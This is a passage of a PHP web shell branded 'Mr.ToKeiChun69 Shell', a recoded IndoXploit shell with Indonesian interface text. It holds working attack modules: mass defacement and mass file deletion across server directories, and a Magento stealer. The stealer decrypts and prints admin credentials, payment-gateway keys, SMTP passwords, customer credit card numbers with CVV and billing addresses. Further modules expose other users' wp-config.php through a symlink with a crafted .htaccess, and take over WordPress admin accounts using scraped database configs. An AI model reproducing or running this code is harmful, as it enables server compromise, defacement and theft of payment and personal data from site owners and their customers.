  721.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  722.                 } else {
  723.                     array_push($files, $dirrall . "/" . $file);
  724.                 }
  725.             }
  726.             }
  727.  
  728.             closedir($dh);
  729.             return $files;
  730.         }
  731.     }
  732.     function gass_all(){
  733.         global $index ;
  734.         $dirrall=$_POST['d_dir'];
  735.         foreach (ListFiles($dirrall) as $key=>$file){
  736.             $file = str_replace('//',"/",$file);
  737.             echo "<center><strong>$file</strong> ===>";
  738.             edit_file($file,$index);
  739.             flush();
  740.         }
  741.         $key = $key+1;
  742.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  743.     function sabun_massal($dir,$namafile,$isi_script) {
  744.         if(is_writable($dir)) {
  745.             $dira = scandir($dir);
  746.             foreach($dira as $dirb) {
  747.                 $dirc = "$dir/$dirb";
  748.                 $lokasi = $dirc.'/'.$namafile;
  749.                 if($dirb === '.') {
  750.                     file_put_contents($lokasi, $isi_script);
  751.                 } elseif($dirb === '..') {
  752.                     file_put_contents($lokasi, $isi_script);
  753.                 } else {
  754.                     if(is_dir($dirc)) {
  755.                         if(is_writable($dirc)) {
  756.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  757.                             file_put_contents($lokasi, $isi_script);
  758.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  759.                         }
  760.                     }
  761.                 }
  762.             }
  763.         }
  764.     }
  765.     if($_POST['mass'] == 'onedir') {
  766.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  767.         $ini="http://";
  768.         $mainpath=$_POST[d_dir];
  769.         $file=$_POST[d_file];
  770.         $dir=opendir("$mainpath");
  771.         $code=base64_encode($_POST[script]);
  772.         $indx=base64_decode($code);
  773.         while($row=readdir($dir)){
  774.         $start=@fopen("$row/$file","w+");
  775.         $finish=@fwrite($start,$indx);
  776.         if ($finish){
  777.             echo"$ini$row/$file\n";
  778.             }
  779.         }
  780.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  781.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  782.         $dir=opendir("$mainpath");
  783.         $code=base64_encode($_POST[script]);
  784.         $indx=base64_decode($code);
  785.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  786.         $finish=@fwrite($start,$indx);
  787.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  788.         }
  789.  
  790.     }
  791.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  792.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  793.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  794.     elseif($_POST['mass'] == 'massdeface') {
  795.         echo "<div style='margin: 5px auto; padding: 5px'>";
  796.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  797.         echo "</div>";  }
  798.     else {
  799.         echo "
  800.         <center><font style='text-decoration: underline;'>
  801.         Select Type:<br>
  802.         </font>
  803.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  804.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  805.         <option value=\"massdeface\">Mass Deface ALL Dir</option>
  806.         <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  807.         <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  808.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  809.         <font style='text-decoration: underline;'>Folder:</font><br>
  810.         <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  811.         <font style='text-decoration: underline;'>Filename:</font><br>
  812.         <input type='text' name='d_file' value='readthis.html' style='width: 450px;' height='10'><br>
  813.         <font style='text-decoration: underline;'>Index File:</font><br>
  814.         <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Mr.ToKeiChun69</textarea><br>
  815.         <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  816.         </form></center>";
  817.         }
  818.     }
  819. elseif($_GET['pake'] == 'magen') {
  820. echo'
  821. <div id="page-wrap">  
  822. <center>  
  823. <br>  
  824. <FORM action=""  method="post">  
  825. <div align="center">[M A G E N T O] - Stealing Information<br>  
  826. <div align="center">coder: sohai & n4KuLa_<br>  
  827. <input type="hidden" name="form_action" value="2">  
  828. </div>  
  829. </div>  
  830. ';  
  831.  
  832.  
  833. if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){  
  834.     $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');  
  835.     if(isset($xml->global->resources->default_setup->connection)) {  
  836.        $connection = $xml->global->resources->default_setup->connection;  
  837.        $prefix = $xml->global->resources->db->table_prefix;  
  838.        $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1  
  839.        require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';  
  840.          
  841.        try {  
  842.            $app = Mage::app('default');  
  843.            Mage::getSingleton('core/session', array('name'=>'frontend'));  
  844.        }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>\n";}  
  845.  
  846.        if (!mysql_connect($connection->host, $connection->username, $connection->password)){  
  847.            print("Could not connect: " . mysql_error());  
  848.        }  
  849.        mysql_select_db($connection->dbname);  
  850.        echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>\n";  
  851.  
  852.     $crypto = new Varien_Crypt_Mcrypt();  
  853.     $crypto->init($key);  
  854.  
  855.     //=========================================================================================================  
  856.     $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");  
  857.     if (!$query){  
  858.           echo "<center><b>Gagal</b></center>";  
  859.     }else{  
  860.             $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));  
  861.           echo'<br><br>  
  862.                 ====================================================================<br>  
  863.                                 [ Admin FROM website : '.$site['website'].'] <br>  
  864.                 ====================================================================<br>';  
  865.     }  
  866.     echo "  
  867.     <table border='1' align='center' >  
  868.     <tr>  
  869.     <td>id</td>  
  870.     <td>firstname</td>  
  871.     <td>lastname</td>  
  872.     <td>email</td>  
  873.     <td>username</td>  
  874.     <td>password</td>  
  875.     </tr>";  
  876.         while($vx = mysql_fetch_array($query)) {  
  877.         $no = 1;  
  878.         $user_id = $vx['user_id'];  
  879.         $username = $vx['username'];  
  880.         $password = $vx['password'];  
  881.         $email = $vx['email'];  
  882.         $firstname = $vx['firstname'];  
  883.         $lastname = $vx['lastname'];  
  884.         echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";  
  885.         }  
  886.     echo "</table><br>";  
  887.     //=========================================================================================================  
  888.     $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where  path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");  
  889.     if(mysql_num_rows($query) != 0){  
  890.         if (!$query){  
  891.               echo "<center><b>Gagal</b></center>";  
  892.         }else{  
  893.               echo'<br><br>  
  894.                     ====================================================================<br>  
  895.                                     [ Authorizenet ] <br>  
  896.                     ====================================================================<br>';  
  897.         }  
  898.         echo "  
  899.         <table border='1' align='center' >  
  900.         <tr>  
  901.         <td>no</td>  
  902.         <td>user</td>  
  903.         <td>pass</td>      
  904.         </tr>";  
  905.             $no = 1;  
  906.             while($vx = mysql_fetch_array($query)) {  
  907.             $user = $crypto->decrypt($vx['user']);  
  908.             $pass = $crypto->decrypt($vx['pass']);  
  909.  
  910.              
  911.             echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";  
  912.             $no++;  
  913.             }  
  914.         echo "</table><br>";  
  915.     }  
  916.     //=========================================================================================================  
  917.     $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");  
  918.     if(mysql_num_rows($query_smtp) != 0){  
  919.         if (!$query_smtp){  
  920.               echo "<center><b>Gagal</b></center>";  
  921.         }else{  
  922.               echo'<br><br>  
  923.                     ====================================================================<br>  
  924.                                     [ SMTP ] <br>  
  925.                     ====================================================================<br>';  
  926.         }  
  927.         echo "  
  928.         <table border='1' align='center' >  
  929.         <tr>  
  930.         <td>no</td>  
  931.         <td>host</td>          
  932.         <td>port</td>  
  933.         <td>user</td>  
  934.         <td>pass</td>      
  935.         </tr>";  
  936.             $no = 1;  
  937.             $batas = 0;  
  938.             while($rows = mysql_fetch_array($query_smtp)) {  
  939.                 $smtphost = $rows[0];  
  940.                 $smtpport = $rows[1];  
  941.                 $smtpuser = $rows[2];  
  942.                 $smtppass = $rows[3];  
  943.                 echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";  
  944.                 $no++;  
  945.             }  
  946.         echo "</table><br>";  
  947.     }  
  948.     //=========================================================================================================  
  949.     $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");  
  950.     $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
  951.     if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){  
  952.           echo'<br><br>  
  953.                 ====================================================================<br>  
  954.                                 [ Credit Card ] <br>  
  955.                 ====================================================================<br>';  
  956.             echo "  
  957.             <table border='1' align='left' >  
  958.             <tr>  
  959.             <td>no</td>  
  960.             <td>Date</td>  
  961.             <td>Credit Owner</td>  
  962.             <td>method</td>  
  963.             <td>Credit Number</td>  
  964.             <td>Credit Exp</td>  
  965.             <td>CVV</td>  
  966.             <td>Address</td>  
  967.             </tr>";  
  968.                 $no = 1;  
  969.                 $batas = 0;  
  970.                 while($vx = mysql_fetch_array($query)){  
  971.                 $date = $vx['updated_at'];  
  972.                 $cc_owner = $vx['cc_owner'];  
  973.                 $method = $vx['method'];  
  974.                 $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);  
  975.                 $exp = $vx['exp'];          
  976.                 $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);      
  977.                 $Billing_Address = $vx['Billing Address'];  
  978.                 echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";  
  979.                 $batas = $no++;  
  980.                 }  
  981.                  
  982.                 while($vx2 = mysql_fetch_array($query2)){  
  983.                     $batas +=1;  
  984.                 $cc_owner = $vx2['cc_owner'];  
  985.                 $method = $vx2['method'];  
  986.                 $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);  
  987.                 $exp = $vx2['exp'];          
  988.                 $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);  
  989.                 $Billing_Address = $vx2['Billing Address'];  
  990.                 echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";  
  991.                  $batas++;  
  992.                 }      
  993.                  
  994.             echo "</table><br>";      
  995.     }  
  996.     //=========================================================================================================  
  997.     $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");  
  998.     $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");  
  999.      
  1000.      
  1001.     if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){  
  1002.         if (!$query){  
  1003.               echo "<center><b>Gagal</b></center>";  
  1004.         }else{  
  1005.               echo'<br><br>  
  1006.                     ====================================================================<br>  
  1007.                                     [ Customer ] <br>  
  1008.                     ====================================================================<br>';  
  1009.         }  
  1010.         echo "  
  1011.         <table border='1' align='center' >  
  1012.         <tr>  
  1013.         <td>no</td>  
  1014.         <td>user</td>  
  1015.         <td>pass</td>      
  1016.         </tr>";  
  1017.             $no = 1;  
  1018.             $batas = 0;  
  1019.             while($vx = mysql_fetch_array($query)) {  
  1020.                 $user = $vx['email'];  
  1021.                 $pass = $vx['value'];  
  1022.                 echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";  
  1023.                 $batas = $no++;  
  1024.             }  
  1025.              
  1026.             if(mysql_num_rows($query2) != 0 && ($query2)){  
  1027.                 while($vx2 = mysql_fetch_array($query2)){  
  1028.                     $user = $vx2['customer_email'];  
  1029.                     $pass = $crypto->decrypt($vx2['password_hash']);  
  1030.                     if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampiin  
  1031.                         $batas +=1;  
  1032.                         echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";  
  1033.                         $batas++;  
  1034.                     }  
  1035.                 }                  
  1036.             }  
  1037.          
  1038.         echo "</table><br>";  
  1039.     }  
  1040.     //=========================================================================================================  
  1041.   }  
  1042. }  
  1043. function save($format,$data){  
  1044.     $fp = fopen($format, 'a');  
  1045.     fwrite($fp, $data);  
  1046.     fclose($fp);  
  1047. }  
  1048. function cekbase64($string){  
  1049.         $decoded = base64_decode($string, true);  
  1050.         if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $string)) return false;  
  1051.         if(!base64_decode($string, true)) return false;  
  1052.         if(base64_encode($decoded) != $string) return false;  
  1053.         return true;//nilai return 1 jika true  
  1054.     }  
  1055. //----untuk decode password ---/  
  1056. class Varien_Crypt_Mcrypt{  
  1057.     /**  
  1058.      * Constuctor  
  1059.      *  
  1060.      * @param array $data  
  1061.      */  
  1062.     public function __construct()  
  1063.     {  
  1064.     }  
  1065.  
  1066.     /**  
  1067.      * Initialize mcrypt module  
  1068.      *  
  1069.      * @param string $key cipher private key  
  1070.      * @return Varien_Crypt_Mcrypt  
  1071.      */  
  1072.     public function init($key)  
  1073.     {  
  1074.         $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');  
  1075.         $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);  
  1076.         $maxKeySize = mcrypt_enc_get_key_size($this->handler);  
  1077.  
  1078.         if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {  
  1079.             //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);  
  1080.             return null;  
  1081.         }  
  1082.  
  1083.         mcrypt_generic_init($this->handler, $key, $iv);  
  1084.  
  1085.         return $this;  
  1086.     }  
  1087.  
  1088.     /**  
  1089.      * Encrypt data  
  1090.      *  
  1091.      * @param string $data source string  
  1092.      * @return string  
  1093.      */  
  1094.     public function encrypt($data)  
  1095.     {  
  1096.         if (!$this->handler) {  
  1097.             //throw new Varien_Exception('Crypt module is not initialized.');  
  1098.             return null;  
  1099.         }  
  1100.         if (strlen($data) == 0) {  
  1101.             return $data;  
  1102.         }  
  1103.         return base64_encode(mcrypt_generic($this->handler, $data));  
  1104.     }  
  1105.  
  1106.     /**  
  1107.      * Decrypt data  
  1108.      *  
  1109.      * @param string $data encrypted string  
  1110.      * @return string  
  1111.      */  
  1112.     public function decrypt($data)  
  1113.     {  
  1114.         if (!$this->handler) {  
  1115.             //throw new Varien_Exception('Crypt module is not initialized.');  
  1116.             return null;  
  1117.         }  
  1118.         if (strlen($data) == 0) {  
  1119.             return $data;  
  1120.         }  
  1121.         return mdecrypt_generic($this->handler, base64_decode($data));  
  1122.     }  
  1123.          
  1124.    
  1125.     /**  
  1126.      * Desctruct cipher module  
  1127.      *  
  1128.      */  
  1129.     public function __destruct()  
  1130.     {  
  1131.         if ($this->handler) {  
  1132.             $this->_reset();  
  1133.         }  
  1134.     }  
  1135.  
  1136.     protected function _reset()  
  1137.     {  
  1138.         mcrypt_generic_deinit($this->handler);  
  1139.         mcrypt_module_close($this->handler);  
  1140.     }  
  1141. }  
  1142. }
  1143. elseif($_GET['pake'] == 'zip') {
  1144.     echo "<center><h1>Zip Menu</h1>";
  1145. function rmdir_recursive($dir) {
  1146.     foreach(scandir($dir) as $file) {
  1147.        if ('.' === $file || '..' === $file) continue;
  1148.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  1149.        else unlink("$dir/$file");
  1150.    }
  1151.    rmdir($dir);
  1152. }
  1153. if($_FILES["zip_file"]["name"]) {
  1154.     $filename = $_FILES["zip_file"]["name"];
  1155.     $source = $_FILES["zip_file"]["tmp_name"];
  1156.     $type = $_FILES["zip_file"]["type"];
  1157.     $name = explode(".", $filename);
  1158.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  1159.     foreach($accepted_types as $mime_type) {
  1160.         if($mime_type == $type) {
  1161.             $okay = true;
  1162.             break;
  1163.         }
  1164.     }
  1165.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  1166.     if(!$continue) {
  1167.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  1168.     }
  1169.   $path = dirname(__FILE__).'/';
  1170.   $filenoext = basename ($filename, '.zip');
  1171.   $filenoext = basename ($filenoext, '.ZIP');
  1172.   $targetdir = $path . $filenoext;
  1173.   $targetzip = $path . $filename;
  1174.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  1175.   mkdir($targetdir, 0777);
  1176.     if(move_uploaded_file($source, $targetzip)) {
  1177.         $zip = new ZipArchive();
  1178.         $x = $zip->open($targetzip);
  1179.         if ($x === true) {
  1180.             $zip->extractTo($targetdir);
  1181.             $zip->close();
  1182.  
  1183.             unlink($targetzip);
  1184.         }
  1185.         $message = "<b>Sukses Gan :)</b>";
  1186.     } else {   
  1187.         $message = "<b>Error Gan :(</b>";
  1188.     }
  1189. }  
  1190. echo '<table style="width:100%" border="1">
  1191.   <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  1192. <label>Zip File : <input type="file" name="zip_file" /></label>
  1193. <input type="submit" name="submit" value="Upload And Unzip" />
  1194. </form>';
  1195. if($message) echo "<p>$message</p>";
  1196. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/tkc_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";  
  1197.     if($_POST['backup']){
  1198.     $save=$_POST['save'];
  1199.     function Zip($source, $destination)
  1200. {
  1201.     if (extension_loaded('zip') === true)
  1202.     {
  1203.         if (file_exists($source) === true)
  1204.         {
  1205.             $zip = new ZipArchive();
  1206.  
  1207.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  1208.             {
  1209.                 $source = realpath($source);
  1210.  
  1211.                 if (is_dir($source) === true)
  1212.                 {
  1213.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  1214.  
  1215.                     foreach ($files as $file)
  1216.                     {
  1217.                         $file = realpath($file);
  1218.  
  1219.                         if (is_dir($file) === true)
  1220.                         {
  1221.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  1222.                         }
  1223.  
  1224.                         else if (is_file($file) === true)
  1225.                         {
  1226.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  1227.                         }
  1228.                     }
  1229.                 }
  1230.  
  1231.                 else if (is_file($source) === true)
  1232.                 {
  1233.                     $zip->addFromString(basename($source), file_get_contents($source));
  1234.                 }
  1235.             }
  1236.  
  1237.             return $zip->close();
  1238.         }
  1239.     }
  1240.  
  1241.     return false;
  1242. }
  1243.     Zip($_POST['dir'],$save);
  1244.     echo "Done , Save To <b>$save</b>";
  1245.     }
  1246.     echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/tkc_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  1247.     if($_POST['extrak']){
  1248.     $save=$_POST['save'];
  1249.     $zip = new ZipArchive;
  1250.     $res = $zip->open($_POST['dir']);
  1251.     if ($res === TRUE) {
  1252.         $zip->extractTo($save);
  1253.         $zip->close();
  1254.     echo 'Succes , Location : <b>'.$save.'</b>';
  1255.     } else {
  1256.     echo 'Gagal Mas :( Ntahlah !';
  1257.     }
  1258.     }
  1259. echo '</tr></table>';
  1260.     } elseif($_GET['pake'] == 'loghunter')
  1261.     {
  1262. echo '<center><h2>Log Hunter</h2></center>';    
  1263.         echo "<Center>\n";
  1264. echo "<form action=\"\" method=\"post\">\n";
  1265. ?><br>Dir :<input type="text" value="<?=getcwd();?>" name="shc_dir"><?php
  1266. echo "<input type=\"submit\" name=\"submit\" class=\"kotak\" value=\"Scan Now!\"/>\n";
  1267. echo "</form>\n";
  1268. echo "<pre style=\"text-align: left;\">\n";
  1269. error_reporting(0);
  1270. /*
  1271. Name    : Log Hunter (Grab Email)
  1272. Date    : 26/03/2016 05:53 PM
  1273. Link    : http://facebook.com/bug7sec
  1274. Link    : http://pastebin.com/u/shor7cut
  1275. Author  : Shor7cut
  1276. */
  1277.  
  1278.  
  1279. if($_POST['submit']){
  1280. function tampilkan($shcdirs){
  1281. foreach(scandir($shcdirs) as $shc)
  1282.     {
  1283.         if($shc!='.' && $shc!='..')
  1284.         {
  1285.             $shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
  1286.             if( !is_dir($shc) && !eregi("css", $shc) ){
  1287.  
  1288.                 $fgt    = file_get_contents($shc);
  1289.                 $ifgt   = exif_read_data($shc);
  1290.                 $jembut = "COMPUTED";
  1291.                 $taik   = "UserComment";
  1292.                 $shcm = "/mail['(']/";
  1293.                 if($ifgt[$jembut][$taik]){
  1294.                     echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font><br>";
  1295.                 }
  1296.                 preg_match_all('#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#',$fgt,$cocok);
  1297.                 $hcs  = "/base64_decode/";
  1298.                 $exif = "/exif_read_data/";
  1299.                 preg_match($shcm, addslashes($fgt), $mailshc);
  1300.                 preg_match($hcs,  addslashes($fgt), $shcmar);
  1301.                 preg_match($exif, addslashes($fgt), $shcxif);
  1302.                 if(eregi('HTTP Cookie File', $fgt) || eregi('PHP Warning:', $fgt) ){
  1303.                 }
  1304.                 if(eregi('tmp_name', $fgt)){
  1305.                     echo "[<font color=#FAFF14>Uploader</font>] <font color=#2196F3>".$shc."</font><br>";
  1306.                 }
  1307.                 if($shcmar[0]){
  1308.                     echo "[<font color=#FF3D00>Base64</font>] <font color=#2196F3>".$shc."</font><br>";
  1309.                 }
  1310.                 if($mailshc[0]){
  1311.                     echo "[<font color=#E6004E>MailFunc</font>] <font color=#2196F3>".$shc."</font><br>";
  1312.                 }
  1313.                 if($shcxif[0]){
  1314.                     echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font> </font><font color=red>{Manual Check}</font><br>";
  1315.                 }
  1316.                 if(eregi("js", $shc)){
  1317.                             echo "[<font color=red>Javascript</font>] <font color=#2196F3>".$shc."</font> { <a href=http://www.unphp.net target=_blank>CheckJS</a> }<br>";
  1318.                 }
  1319.                 if($cocok[0]){
  1320.                     foreach ($cocok[0] as $key => $shcmail) {
  1321.                         if (filter_var($shcmail, FILTER_VALIDATE_EMAIL)) {
  1322.                             echo "[<font color=greenyellow>SendMail</font>] <font color=#2196F3>".$shc."</font> { ".$shcmail." }<br>";
  1323.                         }
  1324.                     }
  1325.                 }
  1326.            
  1327.             }else{
  1328.                 tampilkan($shc);
  1329.             }
  1330.         }
  1331.     }
  1332. }
  1333. tampilkan($_POST['shc_dir']);
  1334. }
  1335. echo "</pre>\n";
  1336. echo "</Center>\n";}   
  1337. elseif($_GET['pake'] == 'metu') {
  1338.    
  1339.  
  1340. echo '<form action="?dir=$dir&pake=metu" method="post">';
  1341.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1342.     echo 'Byee !';
  1343.    
  1344. }
  1345. elseif($_GET['pake'] == 'about') {
  1346.    
  1347.     echo '<center>Mr.ToKeiChun69 Shell<hr>IndoXploit Shell Recoded By Mr.ToKeiChun59<br><a href="https://www.facebook.com/tokeichun.sh">Here</a>';
  1348. }
  1349. elseif($_GET['pake'] == 'symlink404') {
  1350. echo "<center>
  1351. <form method='post'>
  1352. <br>File Target: <input type='text' name='dir' size='50' value='/home/user/public_html/wp-config.php'>
  1353. <br>Save As: <input type='text' name='jnck' size='50' value='config404.txt'><br><input name='sym404' type='submit' value='Eksekusi Gan'></form><br>";
  1354. @error_reporting(0);
  1355. @ini_set('display_errors', 0);
  1356. if($_POST['sym404']){
  1357. rmdir("sym404");mkdir("sym404", 0777);
  1358. $dir = $_POST['dir'];
  1359. $jnck = $_POST['jnck'];
  1360. system("ln -s ".$dir." sym404/".$jnck);
  1361. symlink($dir,"sym404/".$jnck);
  1362. $inija = fopen("sym404/.htaccess", "w");
  1363. fwrite($inija,"Options Indexes FollowSymLinks
  1364. DirectoryIndex tokeichun.html
  1365. AddType text/plain .php
  1366. AddHandler text/plain .php
  1367. Satisfy Any
  1368.  
  1369. ReadmeName ".$jnck);
  1370. echo'<a href="sym404/">Succes! >:(</a>';
  1371. }
  1372.    
  1373. }
  1374. elseif($_GET['pake'] == 'auto_cu_wp') {
  1375. if($_POST['gass']) {
  1376.     echo "<center><h1>WordPress Auto Change User 2</h1>
  1377.         <form method='post'>
  1378.         Link Config: <br>
  1379.         <textarea name='link' style='width: 450px; height:250px;'>";
  1380.     UrlLoop($_POST['linkconf'],'wordpress');   
  1381.     echo"</textarea><br>
  1382.         <input type='submit' style='width: 450px;' name='auto_cu_wp' value='Hajar!!'>
  1383.         </form></center>";
  1384. }   else {
  1385.         echo "<center><h1>WordPress Auto Change User 2</h1>
  1386.         <form method='post'>
  1387.         Link Config: <br>
  1388.         <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/config/'><br>
  1389.         <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  1390.         </form></center>";
  1391.     }
  1392. if($_POST['auto_cu_wp']) {
  1393.    
  1394.         function anucurl($sites) {
  1395.             $ch = curl_init($sites);
  1396.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1397.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1398.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1399.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1400.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1401.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1402.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1403.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1404.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1405.             $data = curl_exec($ch);
  1406.                   curl_close($ch);
  1407.             return $data;
  1408.         }
  1409.         $link = explode("\r\n", $_POST['link']);
  1410.         $user = "indoxploit";
  1411.         $pass = "indoxploit";
  1412.         $passx = md5($pass);
  1413.         foreach($link as $dir_config) {
  1414.             $config = anucurl($dir_config);
  1415.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  1416.             $dbuser = ambilkata($config,"DB_USER', '","'");
  1417.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1418.             $dbname = ambilkata($config,"DB_NAME', '","'");
  1419.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1420.             $prefix = $dbprefix."users";
  1421.             $option = $dbprefix."options";
  1422.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1423.             $db = mysql_select_db($dbname);
  1424.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1425.             $result = mysql_fetch_array($q);
  1426.             $id = $result[ID];
  1427.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1428.             $result2 = mysql_fetch_array($q2);
  1429.             $target = $result2[option_value];
  1430.             if($target == '') {                
  1431.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1432.             } else {
